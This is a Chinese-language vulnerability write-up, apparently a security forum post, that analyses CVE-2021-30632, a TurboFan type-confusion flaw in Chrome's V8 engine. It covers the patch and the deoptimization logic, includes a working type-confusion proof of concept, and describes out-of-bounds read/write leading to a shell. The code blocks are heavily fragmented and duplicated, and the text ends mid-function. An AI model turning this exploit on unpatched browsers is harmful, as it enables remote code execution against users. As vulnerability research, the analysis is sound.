作者:coolboy
V8 是 Google开源的高性能 JavaScript 引擎,用于 Google Chrome 等浏览器。2021 年,V8 引擎曝出漏洞 CVE-2021-30632。漏洞产生的原因是turbofan引擎优化bug导致类型混淆,可以实现远程代码执行。
这个漏洞已经有文章分析的非常详尽了(见:链接),但阅读过程中难免还有些疑问,综合网上查询到的各种资料,弄懂以后,豁然开朗;才疏学浅,也有许多不准确和遗漏的地方。高山流水觅知音,希望可以跟同行学习交流。
v8中的JS对象总体分为两类:properties(也叫 named properties);elements (也叫indexed properties)。表示如下:
hiddenClass也称为map,它决定了JS对象是properties或者elements,见下图:
写段测试代码来实际看看:
用d8执行上述文件得到结果:
由上图可以看见,{a: "foo", b: "bar"} 通过map (hiddenClass)被标记为JS_OBJECT_TYPE,有两个属性a和b,值分别为"foo"和"bar"。
由上图可以看见,["foo", "bar"]通过map被标记为JS_ARRAY_TYPE,是一个长度为2的固定数组,元素依次为"foo"和"bar"。
当JS对象增加或者减少属性的时候,v8的map将创建新的map,新旧map之间产生迁移关系。上述代码以此产生map0-map3 共计4个map。map0迁移至map1,map1迁移至map2,依次类推。
最终的map3不再迁移到其他map,它有一个属性取值为stable,map0-map2为not stable。
迁移也可以分叉,如下图,共产生map0到map5共计6个map。其中map3,map5为stable,其他为not stable。
具有相同"形状"的js对象,它们共享一个map。对象a,b,c的map为同一个,均为stable。
示例:
结果见下图:
Ignition, 是v8的解释器, 而 TurboFan 是v8最新的优化编译器。它们的关系如下图:
JS源码经过 Parser(词法分析、语法分析) ,送入Ignition,生成字节码执行;字节码的优点是编译快,缺点是执行慢,适用于执行次数少的代码。
执行多次的字节码被标记为热点代码,将触发优化,此时由TurboFan将字节码优化编译;过往执行中记录的数据将参与优化过程,并预测将来的的执行也将是这样。这样做得优点是,执行快,编译会消耗大量的时间,适用于循环等多次执行的函数。在执行时,跟预测不符,将触发解优化(deoptimize)。
举例说明:
执行上述js,将看到下面输出:
在代码的第8行某一次循环之后,被认定为热点函数,于是store函数被优化。这之后的store(y)都将不再执行igition产生的bytecode,而是执行TurboFan优化编译之后的代码。
在第11行store(z),由于z和y的值不同,store(z)将无法继续使用参照store(y)优化之后的代码给x赋值1,于是触发了解优化,退化为bytecode执行,给x赋值2。
我们查看漏洞补丁,补丁发生在JSNativeContextSpecialization::ReduceGlobalAccess
函数,这个函数的作用是TurboFan对全局变量存取的优化。
补丁的807行有一个条件判断是否为PropertyCellType::kConstantType。先来了解下kConstantType。
PropertyCellType跟踪了对象的JS类型,比如JSObject, int, array, String等等,区别于Map描述了对象的"形状"。
我们看一下给全局变量赋值(AccessMode::kStore)优化相关的代码,保留关键部分:
第3行,表示当前代码块是对全局变量赋值的分支
第4行,判断全局变量的PropertyCellType
第6行,当类型为PropertyCellType::kConstantType
第7行,表示当前的优化依赖于属性的类型,如果属性类型发生了变化,那么将解优化。
第10行,表示如果属性的Map是stable,那么stable属性发生变化之后,那么将解优化。
第13行,表示store操作Map必须和前面保持一致,调用store时Map变化了,那么将解优化。
第7,10,13 行枚举出了三种解优化的情况:
举例说明这三种情况:
说完全局变量的store,再来说说load。关键代码如下:
第4行,表示对全局变量的load处理
第6行,表示全局变量为kConstantType类型
第8行,表示当全局变量的Map为stable时,不能修改它的Map,否则解优化。
总结load 全局变量,当优化时刻MapA为Stable,后面修改MapA为MapB。
也举例说明下:
值得一提的是,如果插入第10行代码,那么在优化时,x为MapA not stable,第20行改变X的MapA为MapB,将不满足解优化条件:“优化时刻MapA为Stable,后面修改MapA为MapB”。
综上:全局变量store和load解优化条件:
store:
load:
乍一看,上述解优化逻辑没有问题,然而百密一疏。竟然可以通过既有规则,构造出类型混淆!且看示例代码:
基于上面的分析,我们打印load,store的汇编验证一下:
回顾补丁,
加上补丁以后,有两处变化:
1.全局变量必须是stable才会进行优化。
2.store优化后,如果map变为not stable,将解优化。
这个变化将导致 store的优化失败,因为store优化时x为 not stable,不满足条件1,由此漏洞修复。
通过上述代码实现x的类型混淆,实际为 int arr[30]; 在oobWrite和oobRead中被优化为double arr[30],不再赘述分析。
通过调用oobWrite, oobRead可以实现越界读写。
连续申明的js对象,在v8分配内存时,也具有连续性。
申明的arr, b, writeArr三个对象,它们的内存也是连续的。对arr进行越界读写,会访问到b和writeArr对象的数据结构。
((double*)arr)[20] 对应b[0] 里面存放的值。下面的代码可以获取对象的地址。
((double*)arr)[24] 对应writeArr 对象的数组指针,修改数组指针,就可以实现任意地址读。
下面代码可以实现任意地址写:
./out/x64.release/d8 --allow-natives-syntax this.js 将会得到/bin/sh
漏洞分析:Chrome in-the-wild bug analysis: CVE-2021-30632
属性访问:https://v8.dev/blog/fast-properties
v8文档:https://v8.dev/
git clone https:
/
/
chromium.googlesource.com
/
chromium
/
tools
/
depot\_tools.git
export PATH
=
/
path
/
to
/
depot\_tools:$PATH
mkdir \~
/
v8
cd \~
/
v8
fetch v8
cd v8
git checkout
632e6e71c5f
gclient sync
alias gm
=
/
path
/
to
/
v8
/
tools
/
dev
/
gm.py
gm x64.release
gm x64.debug
.
/
out
/
x64.release
/
d8
-
-
help
git clone https:
/
/
chromium.googlesource.com
/
chromium
/
tools
/
depot\_tools.git
export PATH
=
/
path
/
to
/
depot\_tools:$PATH
mkdir \~
/
v8
cd \~
/
v8
fetch v8
cd v8
git checkout
632e6e71c5f
gclient sync
alias gm
=
/
path
/
to
/
v8
/
tools
/
dev
/
gm.py
gm x64.release
gm x64.debug
.
/
out
/
x64.release
/
d8
-
-
help
cp .
/
tools
/
gdbinit \~
/
.gdbinit
gdb .
/
out
/
x64.release
/
d8
cp .
/
tools
/
gdbinit \~
/
.gdbinit
gdb .
/
out
/
x64.release
/
d8
/
/
this
file
is
test.js
/
/
执行:.
/
out
/
x64.release
/
d8
-
-
allow
-
natives
-
syntax .
/
test.js
/
/
其中的
-
-
allow
-
natives
-
syntax 参数作用是让
%
DebugPrint内置函数生效,它的作用是打印对象的
map
等调试信息
obj1
=
{a:
"foo"
, b:
"bar"
};
obj2
=
[
"foo"
,
"bar"
];
%
DebugPrint(obj1);
%
DebugPrint(obj2);
/
/
this
file
is
test.js
/
/
执行:.
/
out
/
x64.release
/
d8
-
-
allow
-
natives
-
syntax .
/
test.js
/
/
其中的
-
-
allow
-
natives
-
syntax 参数作用是让
%
DebugPrint内置函数生效,它的作用是打印对象的
map
等调试信息
obj1
=
{a:
"foo"
, b:
"bar"
};
obj2
=
[
"foo"
,
"bar"
];
%
DebugPrint(obj1);
%
DebugPrint(obj2);
var a
=
{a:
"111"
, b:
"111"
};
var b
=
{a:
"222"
, b:
"222"
};
var c
=
{a:
"333"
, b:
"333"
};
var a
=
{a:
"111"
, b:
"111"
};
var b
=
{a:
"222"
, b:
"222"
};
var c
=
{a:
"333"
, b:
"333"
};
/
/
this
file
is
test.js
/
/
执行:.
/
out
/
x64.release
/
d8
-
-
allow
-
natives
-
syntax .
/
test.js
a
=
{x:
'a'
};
b
=
{x:
'b'
};
c
=
{x:
'c'
};
a.y
=
'a'
;
console.log(
'a====================='
);
%
DebugPrint(a);
console.log(
'b====================='
);
%
DebugPrint(b);
console.log(
'c====================='
);
%
DebugPrint(c);
/
/
this
file
is
test.js
/
/
执行:.
/
out
/
x64.release
/
d8
-
-
allow
-
natives
-
syntax .
/
test.js
a
=
{x:
'a'
};
b
=
{x:
'b'
};
c
=
{x:
'c'
};
a.y
=
'a'
;
console.log(
'a====================='
);
%
DebugPrint(a);
console.log(
'b====================='
);
%
DebugPrint(b);
console.log(
'c====================='
);
%
DebugPrint(c);
function store(y) {
x
=
y;
}
var x
=
0
;
var y
=
1
;
var z
=
2
;
for
(let i
=
0
; i <
200000
; i
+
+
) store(y);
store(y);
store(z);
/
/
.
/
out
/
x64.release
/
d8
-
-
trace
-
opt
-
-
trace
-
deopt this.js
function store(y) {
x
=
y;
}
var x
=
0
;
var y
=
1
;
var z
=
2
;
for
(let i
=
0
; i <
200000
; i
+
+
) store(y);
store(y);
store(z);
/
/
.
/
out
/
x64.release
/
d8
-
-
trace
-
opt
-
-
trace
-
deopt this.js
[marking
0x23f60815326d
\<JSFunction (sfi
=
0x23f6081530a1
)>
for
optimized recompilation, reason: hot
and
stable]
[compiling method
0x23f60815326d
\<JSFunction (sfi
=
0x23f6081530a1
)> (target TURBOFAN) using TurboFan OSR]
[optimizing
0x23f60815326d
\<JSFunction (sfi
=
0x23f6081530a1
)> (target TURBOFAN)
-
took
0.201
,
0.631
,
0.033
ms]
[bailout (kind: deopt
-
soft, reason: Insufficient
type
feedback
for
call): begin. deoptimizing
0x23f60815326d
\<JSFunction (sfi
=
0x23f6081530a1
)>, opt
id
0
, bytecode offset
68
, deopt exit
3
, FP to SP delta
88
, caller SP
0x7fff2bce2978
, pc
0x23f600044202
]
[marking
0x23f60815326d
\<JSFunction (sfi
=
0x23f6081530a1
)>
for
optimized recompilation, reason: hot
and
stable]
[compiling method
0x23f60815326d
\<JSFunction (sfi
=
0x23f6081530a1
)> (target TURBOFAN) using TurboFan OSR]
[optimizing
0x23f60815326d
\<JSFunction (sfi
=
0x23f6081530a1
)> (target TURBOFAN)
-
took
0.201
,
0.631
,
0.033
ms]
[bailout (kind: deopt
-
soft, reason: Insufficient
type
feedback
for
call): begin. deoptimizing
0x23f60815326d
\<JSFunction (sfi
=
0x23f6081530a1
)>, opt
id
0
, bytecode offset
68
, deopt exit
3
, FP to SP delta
88
, caller SP
0x7fff2bce2978
, pc
0x23f600044202
]
enum
class
PropertyCellType {
kMutable,
/
/
Cell will no longer be tracked as constant.
kUndefined,
/
/
The PREMONOMORPHIC of
property
cells.
kConstant,
/
/
Cell has been assigned only once.
kConstantType,
/
/
Cell has been assigned only one
type
.
/
/
Value
for
dictionaries
not
holding cells, must be
0
:
kNoCell
=
kMutable,
};
/
*
PropertyCellType 定义了JS的类型,下面举例说明。
*
/
var x
=
{a :
1
};
/
/
Constant,x第一次赋值
x
=
{a :
2
};
/
/
ConstantType,x被赋值为相同类型
x.b
=
2
;
/
/
ConstantType,x没有被赋值,仅修改它的属性,因此不改变类型
x
=
2
;
/
/
kMutable,x被赋值为
int
,而非
object
,因此为kMutable
enum
class
PropertyCellType {
kMutable,
/
/
Cell will no longer be tracked as constant.
kUndefined,
/
/
The PREMONOMORPHIC of
property
cells.
kConstant,
/
/
Cell has been assigned only once.
kConstantType,
/
/
Cell has been assigned only one
type
.
/
/
Value
for
dictionaries
not
holding cells, must be
0
:
kNoCell
=
kMutable,
};
/
*
PropertyCellType 定义了JS的类型,下面举例说明。
*
/
var x
=
{a :
1
};
/
/
Constant,x第一次赋值
x
=
{a :
2
};
/
/
ConstantType,x被赋值为相同类型
x.b
=
2
;
/
/
ConstantType,x没有被赋值,仅修改它的属性,因此不改变类型
x
=
2
;
/
/
kMutable,x被赋值为
int
,而非
object
,因此为kMutable
Reduction JSNativeContextSpecialization::ReduceGlobalAccess() {
...
DCHECK_EQ(AccessMode::kStore, access_mode);
/
/
3
switch (property_details.cell_type()) {
/
/
4
...
case PropertyCellType::kConstantType: {
/
/
6
dependencies()
-
>DependOnGlobalProperty(property_cell);
/
/
7
...
if
(property_cell_value_map.is_stable()) {
dependencies()
-
>DependOnStableMap(property_cell_value_map);
/
/
10
}
effect
=
graph()
-
>NewNode(
simplified()
-
>CheckMaps(
/
/
13
CheckMapsFlag::kNone,
ZoneHandleSet(property_cell_value_map.
object
())),
value, effect, control);
...
}
Reduction JSNativeContextSpecialization::ReduceGlobalAccess() {
...
DCHECK_EQ(AccessMode::kStore, access_mode);
/
/
3
switch (property_details.cell_type()) {
/
/
4
...
case PropertyCellType::kConstantType: {
/
/
6
dependencies()
-
>DependOnGlobalProperty(property_cell);
/
/
7
...
if
(property_cell_value_map.is_stable()) {
dependencies()
-
>DependOnStableMap(property_cell_value_map);
/
/
10
}
effect
=
graph()
-
>NewNode(
simplified()
-
>CheckMaps(
/
/
13
CheckMapsFlag::kNone,
ZoneHandleSet(property_cell_value_map.
object
())),
value, effect, control);
...
}
/
/
全局变量属性的类型发生变化
x
=
{value:
"x"
};
y
=
{value:
"y"
};
z
=
[
1
,
2
,
3
]
function store(y) {
x
=
y;
}
/
/
PrepareFunctionForOptimization OptimizeFunctionOnNextCall内置函数实现优化
%
PrepareFunctionForOptimization(store);
store(y);
%
OptimizeFunctionOnNextCall(store);
store(y);
store(y);
/
/
property
\_cell 类型发生变化,JS类型从
object
变成了array,因此解优化
x
=
z;
/
/
.
/
out
/
x64.release
/
d8
-
-
trace
-
opt
-
-
trace
-
deopt
-
-
allow
-
natives
-
syntax this.js
/
/
得到下面输出:
/
/
[marking dependent code
0x2c3f00044001
(
0x2c3f08153141
) (opt
id
0
)
for
deoptimization, reason: prototype
-
check]
/
/
全局变量属性的类型发生变化
x
=
{value:
"x"
};
y
=
{value:
"y"
};
z
=
[
1
,
2
,
3
]
function store(y) {
x
=
y;
}
/
/
PrepareFunctionForOptimization OptimizeFunctionOnNextCall内置函数实现优化
%
PrepareFunctionForOptimization(store);
store(y);
%
OptimizeFunctionOnNextCall(store);
store(y);
store(y);
/
/
property
\_cell 类型发生变化,JS类型从
object
变成了array,因此解优化
x
=
z;
/
/
.
/
out
/
x64.release
/
d8
-
-
trace
-
opt
-
-
trace
-
deopt
-
-
allow
-
natives
-
syntax this.js
/
/
得到下面输出:
/
/
[marking dependent code
0x2c3f00044001
(
0x2c3f08153141
) (opt
id
0
)
for
deoptimization, reason: prototype
-
check]
/
/
全局变量
Map
由stable变为
not
stable
x
=
{value:
"x"
};
y
=
{value:
"y"
};
function store(y) {
x
=
y;
}
%
PrepareFunctionForOptimization(store);
store(y);
%
OptimizeFunctionOnNextCall(store);
store(y);
store(y);
/
/
x 和 y 有相同MapA, stable
/
/
y执行下面代码以后,拥有MapB, stable。x变为MapA
not
stale。因此解优化。
y.new\_value
=
"y"
;
/
/
.
/
out
/
x64.release
/
d8
-
-
trace
-
opt
-
-
trace
-
deopt
-
-
allow
-
natives
-
syntax this.js
/
/
得到下面输出
/
/
[marking dependent code
0x3c5600044001
(
0x3c5608153141
) (opt
id
0
)
for
deoptimization, reason: prototype
-
check]
/
/
全局变量
Map
由stable变为
not
stable
x
=
{value:
"x"
};
y
=
{value:
"y"
};
function store(y) {
x
=
y;
}
%
PrepareFunctionForOptimization(store);
store(y);
%
OptimizeFunctionOnNextCall(store);
store(y);
store(y);
/
/
x 和 y 有相同MapA, stable
/
/
y执行下面代码以后,拥有MapB, stable。x变为MapA
not
stale。因此解优化。
y.new\_value
=
"y"
;
/
/
.
/
out
/
x64.release
/
d8
-
-
trace
-
opt
-
-
trace
-
deopt
-
-
allow
-
natives
-
syntax this.js
/
/
得到下面输出
/
/
[marking dependent code
0x3c5600044001
(
0x3c5608153141
) (opt
id
0
)
for
deoptimization, reason: prototype
-
check]
/
/
传入store参数的
Map
和前面不一致
x
=
{value:
"x"
};
y
=
{value:
"y"
};
z
=
{value1:
"z"
, value2:
"z"
};
function store(y) {
x
=
y;
}
%
PrepareFunctionForOptimization(store);
store(y);
%
OptimizeFunctionOnNextCall(store);
store(y);
store(y);
store(z);
/
/
z的
Map
和x的
Map
不一致
/
/
.
/
out
/
x64.release
/
d8
-
-
trace
-
opt
-
-
trace
-
deopt
-
-
allow
-
natives
-
syntax this.js
/
/
得到下面输出
/
/
[bailout (kind: deopt
-
eager, reason: wrong
map
): begin. deoptimizing
0x0f6a08153375
\<JSFunction store (sfi
=
0xf6a08153161
)>, opt
id
0
, bytecode offset
2
, deopt exit
1
, FP to SP delta
32
, caller SP
0x7ffd634e5b40
, pc
0x0f6a00044145
]
/
/
传入store参数的
Map
和前面不一致
x
=
{value:
"x"
};
y
=
{value:
"y"
};
z
=
{value1:
"z"
, value2:
"z"
};
function store(y) {
x
=
y;
}
%
PrepareFunctionForOptimization(store);
store(y);
%
OptimizeFunctionOnNextCall(store);
store(y);
store(y);
store(z);
/
/
z的
Map
和x的
Map
不一致
/
/
.
/
out
/
x64.release
/
d8
-
-
trace
-
opt
-
-
trace
-
deopt
-
-
allow
-
natives
-
syntax this.js
/
/
得到下面输出
/
/
[bailout (kind: deopt
-
eager, reason: wrong
map
): begin. deoptimizing
0x0f6a08153375
\<JSFunction store (sfi
=
0xf6a08153161
)>, opt
id
0
, bytecode offset
2
, deopt exit
1
, FP to SP delta
32
, caller SP
0x7ffd634e5b40
, pc
0x0f6a00044145
]
Reduction JSNativeContextSpecialization::ReduceGlobalAccess()
{
...
if
(access_mode
=
=
AccessMode::kLoad || access_mode
=
=
AccessMode::kHas) {
/
/
4
...
if
(property_details.cell_type()
=
=
PropertyCellType::kConstantType) {
/
/
6
...
if
(property_cell_value_map.is_stable()) {
/
/
8
dependencies()
-
>DependOnStableMap(property_cell_value_map);
map
=
property_cell_value_map.
object
();
}
...
}
...
}
...
}
Reduction JSNativeContextSpecialization::ReduceGlobalAccess()
{
...
if
(access_mode
=
=
AccessMode::kLoad || access_mode
=
=
AccessMode::kHas) {
/
/
4
...
if
(property_details.cell_type()
=
=
PropertyCellType::kConstantType) {
/
/
6
...
if
(property_cell_value_map.is_stable()) {
/
/
8
dependencies()
-
>DependOnStableMap(property_cell_value_map);
map
=
property_cell_value_map.
object
();
}
...
}
...
}
...
}
/
/
优化时刻MapA为Stable,后面修改MapA为MapB
x
=
{value:
"x"
};
y
=
{value:
"y"
};
/
/
x,y MapA stable
function load() {
return
x[
'value'
]
}
/
/
y.new\_value
=
'11'
;
/
/
line
10
%
PrepareFunctionForOptimization(load);
load();
%
OptimizeFunctionOnNextCall(load);
load();
/
/
优化时x为MapA stable
load();
x.new_value
=
'11'
;
/
/
x 变为MapB,解优化 line
20
/
/
/
/
.
/
out
/
x64.release
/
d8
-
-
trace
-
opt
-
-
trace
-
deopt
-
-
allow
-
natives
-
syntax this.js
/
/
得到下面输出
/
/
[marking dependent code
0x1e2900044001
(
0x1e2908153151
) (opt
id
0
)
for
deoptimization, reason: prototype
-
check]
/
/
优化时刻MapA为Stable,后面修改MapA为MapB
x
=
{value:
"x"
};
y
=
{value:
"y"
};
/
/
x,y MapA stable
function load() {
return
x[
'value'
]
}
/
/
y.new\_value
=
'11'
;
/
/
line
10
%
PrepareFunctionForOptimization(load);
load();
%
OptimizeFunctionOnNextCall(load);
load();
/
/
优化时x为MapA stable
load();
x.new_value
=
'11'
;
/
/
x 变为MapB,解优化 line
20
/
/
/
/
.
/
out
/
x64.release
/
d8
-
-
trace
-
opt
-
-
trace
-
deopt
-
-
allow
-
natives
-
syntax this.js
/
/
得到下面输出
/
/
[marking dependent code
0x1e2900044001
(
0x1e2908153151
) (opt
id
0
)
for
deoptimization, reason: prototype
-
check]
function store(y) {
x
=
y;
}
function load() {
return
x.b;
}
var x
=
{a :
1
};
var x1
=
{a :
2
};
var x2
=
{a :
3
};
var x3
=
{a :
4
};
/
/
all
has mapA, stable
%
PrepareFunctionForOptimization(store);
store(x2);
x1.b
=
1
;
/
/
x1 has mapB, stable
/
/
x x2 x3 has mapA,
not
stable
%
OptimizeFunctionOnNextCall(store);
store(x2);
/
/
optimizatiin,x has MapA
in
store
/
/
x此时为 mapA,
not
stable。执行x.b
=
3
。将变为MapB,stable
/
/
无法命中store解优化的个条件,因此store不会解优化
/
*
1.
全局变量属性的类型发生变化
2.
全局变量
Map
由stable变为
not
stable
3.
传入store参数的
Map
和前面不一致
不命中:
4.
回顾前面,需要通过
"="
赋值才会触发PropertyCellType类型修改。不命中。
5.
由
not
stable变为stable并非stable变为
not
stable。不命中。
6.
并非调用优化函数,而是对x的属性做修改,不命中。
*
/
x.b
=
3
;
/
/
x MapB stable
%
PrepareFunctionForOptimization(load);
load();
/
/
x has mapB
%
OptimizeFunctionOnNextCall(load);
load();
/
/
x has mapB
in
load
/
*
用jit打败jit的精髓之处就在这里了。 :)
此时x为 MapB stable,x3为MapA
not
stable。
回顾上面解优化条件:
store:
1.
全局变量属性的类型发生变化。不命中。
2.
全局变量
Map
由stable变为
not
stable。命中。
3.
传入store参数的
Map
和前面不一致。x3 x2均为MapA,不命中。
load:
4.
优化时刻MapA为Stable,后面修改MapA为MapB。命中。
总结起来看,store(x3)命中store解优化条件
2
和load解优化条件
1
。那么第
51
行代码应该触发store和load解优化。然而实际情况是没有发生任何解优化,x3按照优化代码的逻辑赋值给了x,x变为MapA
not
stable.
为什么没有解优化呢?原因是所有的解优化条件对于已经优化的代码store是不生效的,只对没有编译的bytecode生效。
用jit打败jit,用魔法打败魔法。 :)
*
/
store(x3);
/
/
x 此时真实为MapA,
not
stable。而load优化的代码中,x为MapB stable,类型混淆,执行
56
行将导致crash。
%
DebugPrint(load());
function store(y) {
x
=
y;
}
function load() {
return
x.b;
}
var x
=
{a :
1
};
var x1
=
{a :
2
};
var x2
=
{a :
3
};
var x3
=
{a :
4
};
/
/
all
has mapA, stable
%
PrepareFunctionForOptimization(store);
store(x2);
x1.b
=
1
;
/
/
x1 has mapB, stable
/
/
x x2 x3 has mapA,
not
stable
%
OptimizeFunctionOnNextCall(store);
store(x2);
/
/
optimizatiin,x has MapA
in
store
/
/
x此时为 mapA,
not
stable。执行x.b
=
3
。将变为MapB,stable
/
/
无法命中store解优化的个条件,因此store不会解优化
/
*
1.
全局变量属性的类型发生变化
2.
全局变量
Map
由stable变为
not
stable
3.
传入store参数的
Map
和前面不一致
不命中:
4.
回顾前面,需要通过
"="
赋值才会触发PropertyCellType类型修改。不命中。
5.
由
not
stable变为stable并非stable变为
not
stable。不命中。
6.
并非调用优化函数,而是对x的属性做修改,不命中。
*
/
x.b
=
3
;
/
/
x MapB stable
%
PrepareFunctionForOptimization(load);
load();
/
/
x has mapB
%
OptimizeFunctionOnNextCall(load);
load();
/
/
x has mapB
in
load
/
*
用jit打败jit的精髓之处就在这里了。 :)
此时x为 MapB stable,x3为MapA
not
stable。
回顾上面解优化条件:
store:
1.
全局变量属性的类型发生变化。不命中。
2.
全局变量
Map
由stable变为
not
stable。命中。
3.
传入store参数的
Map
和前面不一致。x3 x2均为MapA,不命中。
load:
4.
优化时刻MapA为Stable,后面修改MapA为MapB。命中。
总结起来看,store(x3)命中store解优化条件
2
和load解优化条件
1
。那么第
51
行代码应该触发store和load解优化。然而实际情况是没有发生任何解优化,x3按照优化代码的逻辑赋值给了x,x变为MapA
not
stable.
为什么没有解优化呢?原因是所有的解优化条件对于已经优化的代码store是不生效的,只对没有编译的bytecode生效。
用jit打败jit,用魔法打败魔法。 :)
*
/
store(x3);
/
/
x 此时真实为MapA,
not
stable。而load优化的代码中,x为MapB stable,类型混淆,执行
56
行将导致crash。
%
DebugPrint(load());
function store(y) {
x
=
y;
}
function load() {
return
x.b;
}
var x
=
{a :
1
};
var x1
=
{a :
2
};
var x2
=
{a :
3
};
var x3
=
{a :
4
};
%
PrepareFunctionForOptimization(store);
store(x2);
x1.b
=
1
;
%
OptimizeFunctionOnNextCall(store);
store(x2);
x.b
=
3
;
%
PrepareFunctionForOptimization(load);
load();
%
OptimizeFunctionOnNextCall(load);
load();
store(x3);
console.log(
"x================="
);
%
DebugPrint(x);
console.log(
"x1================="
);
%
DebugPrint(x1);
console.log(
"x3================="
);
%
DebugPrint(x3);
%
DebugPrint(load());
/
/
.
/
out
/
x64.release
/
d8
-
-
print
-
opt
-
code
-
-
trace
-
opt
-
-
trace
-
deopt
-
-
allow
-
natives
-
syntax this.js
/
*
x 和 x3为相同的MapA
not
stable,如下:
DebugPrint:
0x183008049a71
: [JS_OBJECT_TYPE]
-
map
:
0x183008187961
<
Map
(HOLEY_ELEMENTS)> [FastProperties]
...
}
0x183008187961
: [
Map
]
-
type
: JS_OBJECT_TYPE
...
x1为MapB stable,如下:
DebugPrint:
0x183008049a51
: [JS_OBJECT_TYPE]
-
map
:
0x183008187989
<
Map
(HOLEY_ELEMENTS)> [FastProperties]
...
}
0x183008187989
: [
Map
]
-
type
: JS_OBJECT_TYPE
-
stable_map
MapA 的地址为
0x183008187961
MapB 的地址为
0x183008187989
,结合前面的分析,x在store中的优化代码中预设为MapA,在load中预设为MapB。查看它们对应的汇编,符合预期。
store:
...
REX.W movq rcx,
0x1830081535f5
;;
object
:
0x1830081535f5
<PropertyCell name
=
0x183008153061
<String[
1
]:
...
load:
...
REX.W movq rdx,
0x1830081535f5
;;
object
:
0x1830081535f5
<PropertyCell name
=
0x183008153061
<String[
1
]:
...
*
/
function store(y) {
x
=
y;
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!